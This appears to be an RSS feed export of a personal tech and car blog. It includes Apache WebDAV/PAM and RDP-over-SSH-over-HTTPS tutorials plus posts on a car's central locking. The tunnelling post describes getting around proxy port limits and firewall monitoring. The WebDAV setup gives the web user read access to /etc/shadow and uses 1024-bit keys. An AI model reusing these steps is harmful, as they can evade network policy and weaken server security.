SSLCertificateFile /etc/apache2/ssl/my.serv.er.crt<br />
SSLCertificateKeyFile /etc/apache2/ssl/my.serv.er.key<br />
DocumentRoot /var/www/<br />
&lt;Directory /var/www/&gt;<br />
Options Indexes FollowSymLinks MultiViews<br />
AllowOverride None<br />
Order allow,deny<br />
allow from all<br />
&lt;/Directory&gt;</p>
<p>ErrorLog /var/log/apache2/error.log<br />
LogLevel warn<br />
CustomLog /var/log/apache2/access.log combined<br />
ServerSignature On<br />
&lt;/VirtualHost&gt;</p>
<p>The certificate-folder needs to be created and the certificates need to be generated:<br />
<code><br />
~# mkdir /etc/apache2/ssl<br />
~# openssl genrsa -out /etc/apache2/ssl/my.serv.er.key 1024<br />
~# openssl req -new -days 365 -key /etc/apache2/ssl/my.serv.er.key -x509 -out /etc/apache2/ssl/my.serv.er.crt<br />
</code><br />
Next, we add the WebDAV/PAM settings to our SSL-VHost, while <em>/home/pub</em> is the folder we&#8217;d like to publish:<br />
<code><br />
...<br />
DAVLockDB /var/lib/apache2/DAVLockDB<br />
Alias /pub /home/pub/<br />
&lt;Location /pub&gt;<br />
DAV On<br />
AuthType Basic<br />
AuthName "WebDAV"<br />
AuthPAM_Enabled On<br />
#AuthPAM_FallThrough Off<br />
AuthUserFile /etc/shadow<br />
ForceType text/plain<br />
Require valid-user<br />
&lt;/Location&gt;<br />
...<br />
</code><br />
And last but not least, we (unfortunatelly) need to add the user <em>www-data</em> to the group <em>shadow</em>:<br />
<code><br />
adduser www-data shadow<br />
</code><br />
Now we can restart our Apache and enjoy the pleasure of WebDAV. If it should not work, check the permissions you set for the directory you&#8217;re publishing.<br />
And what could this be used for? For example, as self-made iDisk. <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/smile.png' alt=':-)' class='wp-smiley' /> <br />
Enjoy.</p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2008/09/04/webdav-over-ssl-using-pam-with-apache2-on-debian/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Perfect Infrastructure&#8230; ?</title>
		<link>http://devilx.net/2008/08/14/the-perfect-infrastructure/</link>
		<comments>http://devilx.net/2008/08/14/the-perfect-infrastructure/#comments</comments>
		<pubDate>Wed, 13 Aug 2008 23:22:05 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Books & Texts]]></category>
		<category><![CDATA[Life itself]]></category>
		<category><![CDATA[Linux and stuff ...]]></category>
		<category><![CDATA[New & Cool]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[World Wide Web]]></category>
		<category><![CDATA[Aptitude]]></category>
		<category><![CDATA[Citrix]]></category>
		<category><![CDATA[Cool]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[Enterprise]]></category>
		<category><![CDATA[Hot]]></category>
		<category><![CDATA[ICA]]></category>
		<category><![CDATA[Ideas]]></category>
		<category><![CDATA[KVM]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Metaframe]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[New]]></category>
		<category><![CDATA[Node]]></category>
		<category><![CDATA[NoMachine]]></category>
		<category><![CDATA[NX]]></category>
		<category><![CDATA[OpenSource]]></category>
		<category><![CDATA[PDF]]></category>
		<category><![CDATA[Rendezvous]]></category>
		<category><![CDATA[SAP]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[Solution]]></category>
		<category><![CDATA[Sun]]></category>
		<category><![CDATA[Terminal-Server]]></category>
		<category><![CDATA[VirtualBox]]></category>
		<category><![CDATA[VMware]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[Xen]]></category>
		<category><![CDATA[xVM]]></category>
		<category><![CDATA[Yum]]></category>
		<category><![CDATA[Zeroconf]]></category>
		<category><![CDATA[Zypper]]></category>

		<guid isPermaLink="false">http://www.devilx.net/?p=478</guid>
		<description><![CDATA[Some time ago I was involved in a project at work that made me think a bit about the infrastructure companies use and how they could look like, in a perfect world. It became clear, that many companies tried and &#8230; <a href="http://devilx.net/2008/08/14/the-perfect-infrastructure/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<div class="wp-caption alignleft" style="width: 310px"><a href="http://devilx.net/~devilx/blog/docs/linux-terminalserver-idea.pdf"><img title="My Idea of the Perfect Terminal-Server Infrastructure. Click to download the PDF." src="/~devilx/blog/linux-terminalserver-idea.png" alt="My Idea of the Perfect Terminal-Server Infrastructure. Click to download the PDF." width="300" height="424" /></a><p class="wp-caption-text">My Idea of the Perfect Terminal-Server Infrastructure. Click to download the PDF.</p></div>
<p>Some time ago I was involved in a project at work that made me think a bit about the infrastructure companies use and how they could look like, in a perfect world. It became clear, that many companies tried and still try to move their infrastructure to free software &#8211; modern web-services with Apache and Mono, virtualization with Xen (at least before Citrix was there), desktop-virtualization with VirtualBo&#8230;errr.. Sun&#8217;s xVM, and so on. Unfortunatelly, these things actually do not bring many advantages to the end-user but maybe giving them a better feeling because of not-throwing monopolists the company&#8217;s money into their throats. The fact is, that the low-brow-user doesn&#8217;t really care or even see whether there&#8217;s a KVM or a VMware running as host for the server he&#8217;s just working on. So, how about bringing free software to the enterprise desktop? I&#8217;m not talking about buying a SLED license-box. I&#8217;m talking of opensource service on which end-users can actually do their daily work.</p>
<p>Correct me if I should be wrong, but as far as I noticed nowadays Citrix is one of the widest spread solutions when it comes to terminal-servers &#8211; how should it be else as inventor of the Independent Computing Architecture. And of course, there are good reasons why Citrix covers the market in that area: it is a great product which allows many different users to work at the same time on one (or more) Windows Servers and, besides of that, also supports redundancy &#8211; what is the non-plus-ultra when it comes to enterprise. And in theory, everything works out great with no SPF (<em>Single Point of Failure</em>) and the highly compressed ICA protocol allows comfortable working, even over thin lines. Though, in practice, it doesn&#8217;t work out as smooth as it&#8217;s read in the brochure. For example, I don&#8217;t like how redundancy is being solved in the ICA/Citrix Terminal-Server solutions. In my opinion, the client&#8217;s configuration is not the place to store what terminal-servers are available, and it should not be left to the client to decide to which it connects. As soon as you slacken your infrastructure and allow employees to connect using clients on their own managed workstations, you lose control about the redundancy configuration and what is more important, you also lose control about load-balancing. When an employee only configures one terminal-server, the client will always connect to this one, regardless whether it&#8217;s fully crowded while the second one is twirling one&#8217;s thumbs.</p>
<p>Besides, I find it pretty hard to administer two or more <strong>identical</strong> Windows Servers, since the installation-routines of each tiny little software under Windows works in a different way than the others before. You can&#8217;t just <a title="Keyboardcast" href="https://launchpad.net/keyboardcast" target="_blank">Keyboardcast</a> each installation-command to each of the two (or how many Terminal-Servers are being used) Servers and verify that everything installed fine afterwards. I&#8217;m not saying that a Unix or a Linux is the perfect Terminal-Server, but in my opinion a Windows is really hard to manage &#8211; and more than one are a disaster. Of course, there are tools and services which provide you the feature of distributing a software onto many windows machines &#8220;<em>with one click</em>&#8220;, but usualy they require some pre-configuration and testing, until it works out really smooth. What, in the end, costs more time (and by that also money) than just executing the according <em>aptitude</em>, <em>zypper</em> or <em>yum</em> command on each of the <em>&lt;variable&gt;</em> servers.</p>
<p>My idea was, to set up the whole terminal-server infrastructure that&#8217;s usually provided by some Citrix Metaserver Product (or whatever) using simple and free tools. In this example, I based the whole scenario on Linux as server system and <a title="NoMachine" href="http://www.nomachine.com" target="_blank">NoMachine</a> as desktop protocol. In my opinion, NoMachine isn&#8217;t perfect (in no way, never), but it definitely is the best opensource-equivalent to ICA that&#8217;s available nowadays.<br />
Unfortunately, you can&#8217;t make up an enterprise-ready terminal-server solution just by taking these two (Linux, NoMachine) products and throw them together. For example, the setup would be totally missing the one thing I just complained about before at Citrix&#8217;s solution: Redundancy. NoMachine (short, <em>NX</em>) itself is no terminal-server solution, just to clearify that. And it&#8217;s not described like that anywhere. NX provides remote desktop access over very thin lines with comfortable quality and speed. Period. And this explains why the redundancy of NX is quite limited. But let&#8217;s go into greater detail:</p>
<p>When a NX Client connects to a remote desktop, the machine running that desktop usually contains of three core services: One NX Server, one NX Node and one SSH daemon. The Client connects to the SSH daemon using a special NX-user and the SSH key that has been exchanged at the installation. From there, it authenticates against the NX Server using the credentials passed to the NX Client. If the authentication succeeds, the NX Server then forwards the connection to the NX Node, which does the actual desktop management (starting the GNOME or whatever desktop and transmitting the information to the client, etc.).<br />
NoMachine now supports the nice feature of redundancy and load-balancing between the NX Server and the NX Node(s). For example, you could outsource the NX Node service on another machine, then clone that machine (of course, change things like the IP, Hostname, etc.) and afterwards configure the NX Server to forward connections to the newly created NX Node-Machines. The NX Server then decides where each client connects to, by paying attention to the load of each node and periodically checking its availabillity. So, if node A would already run one connection, the NX Server would send the second incoming client to node B. If node A would break down, the Server would notice that and send newly incoming connection only to node B, until it &#8220;sees&#8221; node A online again.</p>
<p>Now, with these informations in mind we could already create a very simplistic Linux/NoMachine Terminal-Server. But, as I was saying before, we would be missing full redudancy. In the described scenario, the NX Server would be our SPF, and we could not change that since the NoMachine configuration doesn&#8217;t provide such a feature. It would not even be possible to provide it &#8211; unless we add one more service in between the client and the server. And this is what I&#8217;ve done in the scenario I made up (see the picture, click to download the PDF). I called that service the &#8220;Rendezvous NoMachine Proxy&#8221;, because it uses the zeroconf services to communicate with the clients. Like I said at Citrix&#8217;s solution before, I don&#8217;t like configuring the available terminal-server statically within each client &#8211; of course, it doesn&#8217;t bring complexity, but it brings many other disadvantages. However, the <em>RNP</em> would contain a list of all available NX Servers and be able to dynamically decide whether a client is allowed to connect to one specific server or not (-&gt; implementation of simple ACLs). The clients would use Zeroconf to find all available RNP servers and randomly take one to ask for an NX Server to connect to. The RNP would then check the NX Servers&#8217; statuses and by that decided which server to return to the client. The client would then continue the regular procedure of authenticating against the NX Server and pass over to the NX Node, if successful.</p>
<p>But what are the actual advantages of this idea? Okay, to summarize them up: First of all, the whole solution would have complete redundancy. Each service would be available two or more times. The second advantage of this built-up is, that by using an extra service (RNP), the NoMachine software itself doesn&#8217;t need to be modified or even rewritten. The only modification that&#8217;s needed to be done would affect the NX Client. Instead of just connecting to the IP given in the configured session, the client would need to ask for an NX Server IP through the RNP before the regular login procedure could be started. And this would just need a hook and no modification of the whole client that would make it unmaintainable. The NX Node/Server components already provide configurable hooks for scripts that get executed before the actual connection starts, so it should not take more than a feature-request for that to get implement into the client, too.<br />
However, another big advantage would be the centalization of the actual remote desktop services and the outsource-abillity of the clients. For example, the NX Servers and Nodes would be located centrally at a datacenter, while the clients could be located in many different places, subdivided in little groups. At each place at least two RNPs should be running, which check where the clients are allowed to connect to. So, to visualize the scenario a bit: The group sitting in Boston is responsible for development. A Client wants to connect and asks one RNP for a NX Server address. The RNP then notices that it&#8217;s a developer who requests a NX Session, so he will look up his ACL and summarize the NX Server to which a developer is allowed to connect. Then, the RNP checks the NX Servers&#8217; statuses and returns a session-configuration to the client which is then used to connect.<br />
From the group based in Miami and responsible for finances, some employee requests a terminal-server session. Again, the RNP there looks up what NX Servers are configured and where the guy&#8217;s allowed to connect to and returns the session-configuration.</p>
<p>There are many more advantages of such a built-up. To detail each would take me too much time and just flood this Blog entry, heh.</p>
<p>At last but not least, there&#8217;s one part I didn&#8217;t mention up to now: The &#8220;Internet&#8221;-area displayed in the PDF. That one contains of two Citrix Windows Terminal-Servers. Now you might be asking.. <em>wtf? I thought we wanted to opensource and crap?!</em>&#8230; well. In a perfect world, the last portion of the document wouldn&#8217;t be needed. But in real life, Windows is an important part and in the majority of cases it can&#8217;t be just be cut out of the infrastructure. As long as companies need to work with solutions like SAP or other Windows-Only software it is not possible to get rid of it. And this would be the only neat possibility of combining both worlds, in my opinion.</p>
<p>However, feel free to comment on my idea, improve and even try to implement it. I would really like to see this (or something similar) working someday. It shouldn&#8217;t be pretty hard to build the needed service and make the modifications needed for this to work. <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/smile.png' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2008/08/14/the-perfect-infrastructure/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>My MacAqua Bootsplash on the Red Hat Magazine</title>
		<link>http://devilx.net/2007/12/22/my-macaqua-bootsplash-on-the-red-hat-magazine/</link>
		<comments>http://devilx.net/2007/12/22/my-macaqua-bootsplash-on-the-red-hat-magazine/#comments</comments>
		<pubDate>Sat, 22 Dec 2007 09:11:14 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Art & Design]]></category>
		<category><![CDATA[Books & Texts]]></category>
		<category><![CDATA[Linux and stuff ...]]></category>
		<category><![CDATA[This Site]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.devilx.net/?p=350</guid>
		<description><![CDATA[I&#8217;ve just noticed a HowTo on the Red Hat Magazine which linked to my MacAqua Bootsplash theme. It&#8217;s nice to see that people really it use &#8211; too bad only that Bootsplash.org has been suspended. But I&#8217;m already working on &#8230; <a href="http://devilx.net/2007/12/22/my-macaqua-bootsplash-on-the-red-hat-magazine/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve just noticed a <a href="http://www.redhatmagazine.com/2007/11/14/tips-and-tricks-how-to-get-the-mac-os-x-look-and-feel-on-the-gnome-desktop/" title="Tips and tricks: How to get the Mac OS X look and feel on the GNOME desktop" target="_blank">HowTo on the Red Hat Magazine</a> which linked to <a href="http://devilx.net/?p=31" title="MacAqua Bootsplash-Theme">my MacAqua Bootsplash theme</a>. It&#8217;s nice to see that people really it use &#8211; too bad only that Bootsplash.org has been suspended. But I&#8217;m already working on a new Splashy theme&#8230; <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/wink.png' alt=';-)' class='wp-smiley' /> </p>
<p>Btw: The theming documentation on Splashy is crap! I&#8217;m searching for a way to include an animated GIF into my Splashy-theme for two hours now and can&#8217;t find anything about that. *grml*</p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2007/12/22/my-macaqua-bootsplash-on-the-red-hat-magazine/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to park a car &#8230;</title>
		<link>http://devilx.net/2007/10/30/how-to-park-a-car/</link>
		<comments>http://devilx.net/2007/10/30/how-to-park-a-car/#comments</comments>
		<pubDate>Tue, 30 Oct 2007 18:00:07 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Automobiles]]></category>
		<category><![CDATA[Fun]]></category>
		<category><![CDATA[Life itself]]></category>
		<category><![CDATA[New & Cool]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.devilx.net/?p=333</guid>
		<description><![CDATA[Haha, I gotta try that out myself: http://www.youtube.com/watch?v=8I8f2xLnJzg]]></description>
			<content:encoded><![CDATA[<p>Haha, I gotta try that out myself:</p>
<p><a href="http://www.youtube.com/watch?v=8I8f2xLnJzg" target="_blank">http://www.youtube.com/watch?v=8I8f2xLnJzg</a></p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2007/10/30/how-to-park-a-car/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CRX Central Locking System: Chapter Two</title>
		<link>http://devilx.net/2007/06/01/crx-central-locking-system-chapter-two/</link>
		<comments>http://devilx.net/2007/06/01/crx-central-locking-system-chapter-two/#comments</comments>
		<pubDate>Fri, 01 Jun 2007 16:58:22 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Automobiles]]></category>
		<category><![CDATA[Hot Gear]]></category>
		<category><![CDATA[Life itself]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.devilx.net/?p=303</guid>
		<description><![CDATA[Okay, after I&#8217;ve mounted the actuators, pulled the cables from the interior into the doors and tested the whole stuff by connecting it provisorily to my HiFi powercable, like I&#8217;ve described it on the first chapter, I mounted the covers &#8230; <a href="http://devilx.net/2007/06/01/crx-central-locking-system-chapter-two/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><img class="left" src="/~devilx/blog/crxcls2.jpg" alt="CRX Central Locking System: Chapter Two"/>Okay, after I&#8217;ve mounted the actuators, pulled the cables from the interior into the doors and tested the whole stuff by connecting it provisorily to my HiFi powercable, like I&#8217;ve described it on the <a href="http://devilx.net/?p=301" title="CRX Central Locking System: Chapter One">first chapter</a>, I mounted the covers back onto the doors and started taping the many different cables in my interior together to one line. After this, I started hiding that rope made of cables &#8211; I fixed it on the cross beams beneath my dashboard using cable ties. Then I had the power problem: Where should I get my 12V DC from? I thought of searching for that in my cable harness but then I got a better idea. I took the capacitor I had built-in with my stereo, mounted it in the front (behind the center console where the CRX has a bit of space) and connected its power and ground cable directly to my battery. Since I&#8217;m planning to build in my stereo back again, it&#8217;s just perfect that I could already mount the capacitor and really use it for something. The only <i>problem</i> that I have now, is the fact that it won&#8217;t be any real advantage for my two amplifiers being connected to an capacitor, since the power cables from there to the amps will be <b>a little bit</b> longer than 20cm&#8230; I think it&#8217;s about 140cm more. That&#8217;s why I was thinking of getting another capacitor, mount it in the back where the amps will be and connect that one to the existing one in the front &#8211; but I don&#8217;t know yet what advantages/disadvantages this will bring.<br />
Anyway, at the moment I&#8217;m still waiting for the carpet to cover my completely taken apart trunk and meanwhile I&#8217;m working on how to fixate the amplifiers on the backseats, their covering plate and the interior lighting.</p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2007/06/01/crx-central-locking-system-chapter-two/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CRX Central Locking System: Chapter One</title>
		<link>http://devilx.net/2007/05/19/crx-central-locking-system-chapter-one/</link>
		<comments>http://devilx.net/2007/05/19/crx-central-locking-system-chapter-one/#comments</comments>
		<pubDate>Sat, 19 May 2007 08:39:23 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Automobiles]]></category>
		<category><![CDATA[Hot Gear]]></category>
		<category><![CDATA[Life itself]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.devilx.net/?p=301</guid>
		<description><![CDATA[Okay, so yesterday evening I&#8217;ve finally found the time to continue building the central locking into my CRX. I continued with the left that which already has been uncovered for a week and pulled the cables from the interior to &#8230; <a href="http://devilx.net/2007/05/19/crx-central-locking-system-chapter-one/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><img class="left" src="/~devilx/blog/crxcls1.jpg" alt=""/>Okay, so yesterday evening I&#8217;ve finally found the time to continue building the central locking into my CRX. I continued with the left that which already has been uncovered for a week and pulled the cables from the interior to the actuator, what was a pretty big hassle. First I tried to make them go through the hose, through which also the speaker-cables go which wasn&#8217;t possible without unmounting the door, from what I&#8217;ve seen. I tried around about an hour and then I decided to just make them go from the interior to the door outside of that speakercable-hose. I isolated/bound the cables together with powertape and pulled them out of the interior beside that gum-hose, right into the door where I connected them to the locking-actuator. The same thing I did on the right door, just with the difference that there it&#8217;s much easier to get the cables from the interior outside because you&#8217;ve got much more space than on the driver&#8217;s side. After that, I connected the cables in the interior to the central unit and immediatelly also found a ground connection-point for the black cable, beneath the hole though which I pulled out the cables on the driver&#8217;s side. There you can see a screw on which some other black cable has already been connected &#8211; and I just used that.<br />
Then I wanted to test out the whole thing: I connected the red CLS cable to my red HiFi cable and pushed the &#8220;lock&#8221; button &#8211; CLICK &#8211; my car just locked. And after I pressed unlock &#8211; CLICK &#8211; my car just unlocked. <i>Great!</i>, I thought and started mounting back the door covers as it already got darker and darker. I was lucky that my girlfriend decided to help me on screwing them back, heh <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/smile.png' alt=':-)' class='wp-smiley' /> <br />
Too bad I didn&#8217;t manage to screw everything on the interior back again yesterday evening, so I gotta do that later this day and of course I still need to find a 12V+ point to which I can connect my CLS, since the HiFi thing was just for testing. Besides I would also like to connect the cables for the siren and the turning lights, heh, so this means: To be continued &#8230; <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/wink.png' alt=';-)' class='wp-smiley' /> </p>
<p>PS: I&#8217;ve uploaded some photos of my <i>construct</i>, you can find them in my <a href="http://devilx.net/gallery/photos/20070518/" title="CRX Central Locking System: Chapter One">gallery</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2007/05/19/crx-central-locking-system-chapter-one/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CRX Central Locking System: Intro</title>
		<link>http://devilx.net/2007/05/14/crx-central-locking-system-intro/</link>
		<comments>http://devilx.net/2007/05/14/crx-central-locking-system-intro/#comments</comments>
		<pubDate>Mon, 14 May 2007 20:41:58 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Automobiles]]></category>
		<category><![CDATA[Life itself]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.devilx.net/?p=300</guid>
		<description><![CDATA[So, yesterday I&#8217;ve started building the central locking system (which I bought at eBay for around 30 bucks) into my CRX. Reason for this is.. well&#8230; I got lazy. I&#8217;m sick of unlocking both doors&#8230; actually I&#8217;m sick of unlocking. &#8230; <a href="http://devilx.net/2007/05/14/crx-central-locking-system-intro/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>So, yesterday I&#8217;ve started building the central locking system (which I bought at eBay for around 30 bucks) into my CRX. Reason for this is.. well&#8230; I got lazy. I&#8217;m sick of unlocking both doors&#8230; actually I&#8217;m sick of unlocking. I want to press the button on my car&#8217;s key and have the doors unlocked.<br />
The first problem I had, was to find out how to take of the cover of the left door. Not that I couldn&#8217;t unscrew the cover, I just didn&#8217;t knew how to get rid of the window-lifter. I think it took me half an hour to get that one off, so that I could completely take off the cover. Anyway, I looked at the door&#8217;s interor&#8230; looked at my central locking&#8230; and remembered the sentence &#8220;easy to build in!&#8221; that used the seller to describe his CLS. It wasn&#8217;t easy. Actually it didn&#8217;t even fit without modificating some parts of it.<br />
However, as soon as possible I&#8217;ll post a fully pictorial &#8220;HowTo&#8221; of the way I&#8217;ve built-in the central locking in to my car. Now I hope this rain stops soon so I can continue placing the cables, doing the same thing I did on the left door on the right one and again placing cables. Let&#8217;s see who&#8217;s first: The company delivering my new rims (which should arrive by the end of this month) or me with my central locking, heh <img src='http://devilx.net/wp-content/plugins/smilies-themer/Riceballs/wink.png' alt=';-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2007/05/14/crx-central-locking-system-intro/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RDP over SSH over HTTPS</title>
		<link>http://devilx.net/2007/01/12/rdp-over-ssh-over-https/</link>
		<comments>http://devilx.net/2007/01/12/rdp-over-ssh-over-https/#comments</comments>
		<pubDate>Fri, 12 Jan 2007 21:17:29 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Linux and stuff ...]]></category>
		<category><![CDATA[Mac and stuff ...]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[DarwinPorts]]></category>
		<category><![CDATA[HTTPS]]></category>
		<category><![CDATA[Jabber]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[Proxy]]></category>
		<category><![CDATA[prtunnel]]></category>
		<category><![CDATA[RDP]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[Tunnel]]></category>
		<category><![CDATA[Unix]]></category>

		<guid isPermaLink="false">http://www.devilx.net/?p=271</guid>
		<description><![CDATA[Okay, tunneling unter Linux/Unix system definitely is a bit complicated &#8211; until you really understand the basics. Some day I was searching for a possibility to tunnel a RDP Session over a WWW-Proxy and I really couldn&#8217;t find anything useful &#8230; <a href="http://devilx.net/2007/01/12/rdp-over-ssh-over-https/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Okay, tunneling unter Linux/Unix system definitely is a bit complicated &#8211; until you really understand the basics. Some day I was searching for a possibility to tunnel a RDP Session over a WWW-Proxy and I really couldn&#8217;t find anything useful on Google or Yahoo!. After some more searching, asking and trying I finally figured out how this can be done.</p>
<p>First of all: You cannot tunnel RDP directly through a proxy. RDP doesn&#8217;t speak any HTTP(S) to make the proxy connect to the RDP-Server or anything else. So you&#8217;ll need an application, that surrounds this RDP datachannel with HTTP, prefferable HTTPS. I found <em>prtunnel</em> for my Mac on DarwinPorts. This software allows you to tunnel anything you want through an http/socks proxy by connecting to the proxy, making it connect (by sending HTTP commands) to the preffered host and open a local port for the application (e.g. rdesktop) to connect. Good, so let&#8217;s connect using prtunnel to myrdpmachine.com:3389 and be happy! &#8211; NAH. As soon as you&#8217;ll try that you&#8217;ll see that it&#8217;s not that simple. Most http-proxies do not allow CONNECTs to other ports than 80/443. So you can either set up your RDP daemon to use that port &#8211; never found that option in Windoze &#8211; or you can use an SSH jumphost, since it&#8217;s pretty simple to change the SSH port to 443. So, you connect with prtunnel to your SSH machine on port 443, where the SSH daemon runs, open an SSH tunnel through that machine to the myrdpmachine.com port 3389 and connect with your RDP client on localhost:. Okay, let&#8217;s stop the theory and begin with the practice:</p>
<p>Open three terminals and execute the following command on the first one:</p>
<pre>prtunnel -V -t http -H 'proxy address' -P 'proxy port' \
'port on local machine' 'remote host to connect to over proxy' \
'remote port, put SSHd on 443'</pre>
<p>Then, terminal #2 gets the following command: ssh -L&#8217;local tunneling port&#8217;:'destination host&#8217;:'destination port&#8217; -p &#8216;local port to connect to, the same given at prtunnel&#8217; &#8216;user&#8217;@localhost<br />
After that you can hapily run your <em>rdesktop localhost:&#8217;local tunneling port&#8217;</em> and start RDPing. To make the stuff even more clear, here a concrete example:</p>
<pre>prtunnel -V -t http -H 192.168.111.2 -P 3128 13337 192.168.111.3 443
ssh -L13338:192.168.111.24:3389 -p 13337 root@localhost
rdesktop localhost:13338</pre>
<p>That&#8217;s all the magic. Though, you need to pay attention when selecting your ports, because of course only free ports will work and you really should try to keep them higher than 1024 unless you want to become root. Also you need to remember that running an RDP session over HTTP(S) might get the attention of a firewall or whatever monitoring application is available in that network. &#8220;Abnormal behaviour&#8221; &#8211; you&#8217;d never get such an 50:50 up- and downtraffic unless you run some peer-2-peer application or remote desktops.</p>
<p>But of course you can modify the commands and use it to be able to connect to let&#8217;s say Jabber from a network where only 80/443-outgoing is available &#8211; all you need is a jumphost.</p>
]]></content:encoded>
			<wfw:commentRss>http://devilx.net/2007/01/12/rdp-over-ssh-over-https/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Bringing Smeg to Debian</title>
		<link>http://devilx.net/2005/08/23/bringing-smeg-to-debian/</link>
		<comments>http://devilx.net/2005/08/23/bringing-smeg-to-debian/#comments</comments>
		<pubDate>Tue, 23 Aug 2005 03:55:00 +0000</pubDate>
		<dc:creator>Marius</dc:creator>
				<category><![CDATA[Linux and stuff ...]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://codedev.homelinux.org/?p=131</guid>
		<description><![CDATA[Since Gnome 2.10 there is no Menu Editor anymore in Debian... let's change that! <a href="http://devilx.net/2005/08/23/bringing-smeg-to-debian/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Are you using Debian Unstable/Experimental and are you sick of having Gnome 2.10 without any application for editing the Menu? Well, then you are in the same situation I were in till today.<br />
Actually, there are many menu-editors for Gnome. So it&#8217;s not a problem of applications, it&#8217;s a problem of Debian&#8217;s packaging. Since Debian doesn&#8217;t ship the latest version of libgnome-menu nor python-2.4-gtk2/python2.4-glade2 it&#8217;s not possible to install the <a href="http://www.gnomefiles.org/app.php?soft_id=867">gnome-menu-editor</a> or <a href="http://www.realistanew.com/projects/smeg/">Smeg</a> just by compiling/apt-getting them. So I just did a little hack-a-round to get at least one of them running. Since Smeg uses only python stuff, and python is pretty indifferent to me, I took that one&#8230; because, if some python stuff would have been breaken, I wouldn&#8217;t have really cared about.<br />
However, first of all you need python2.4-minimal. The best thing would be, to get <a href="http://packages.ubuntu.com/hoary/python/python2.4-minimal">this package</a>, since we&#8217;re gonna use only Ubuntu-packages for the hack-a-round. This package has no dependencies you won&#8217;t be able to solve. After you&#8217;ve downloaded and installed the package (<i>dpkg &#8211;force-overwrite -i [package.deb]</i>) download the <a href="http://packages.ubuntu.com/hoary/python/python2.4">Ubuntu python2.4 package</a> and install it the same way you installed the -minimal package. Now, apt-get the <i>python2.4-numeric</i> package and download the <a href="http://packages.ubuntu.com/hoary/python/python2.4-gtk2">python2.4-gtk2 package</a>. Install it and download the last package we need: <a href="http://packages.ubuntu.com/hoary/python/python2.4-glade2">python2.4-glade2</a>; and also install that, of course. Now, get the latest version of the <a href="http://dev.realistanew.com/smeg/latest/smeg.deb">Smeg Ubuntu package</a>. And now&#8230; no! Do not install that, hehe. This package needs to be decompressed manually (use for example file-roller or whatever). Also extract the included package called <i>data.tar.gz</i> and open the included directory <i>usr</i>. Now, copy every file/directory to the place where it belongs, like <i>bin/smeg</i> to <i>/usr/bin/smeg</i>, <i>lib/smeg/</i> to <i>/usr/lib/smeg/</i> and so on. After you&#8217;ve finished, apt-get the package <i>python-xdg</i>. Now, go to <i>/usr/lib/python2.3/site-packages/</i> (if your python-xdg package belongs to python2.2 or older, just change the version number in the path) and link the included directory <i>xdg</i> to <i>/usr/lib/python2.4/site-packages/xdg/</i>.<br />
At last but not least, rename <i>/usr/bin/smeg</i> to <i>/usr/bin/smeg.py</i> and create an empty ascii-file in <i>/usr/bin/</i> called <i>smeg</i>. Then, set chmod to 755 and write the following code into the file:</p>
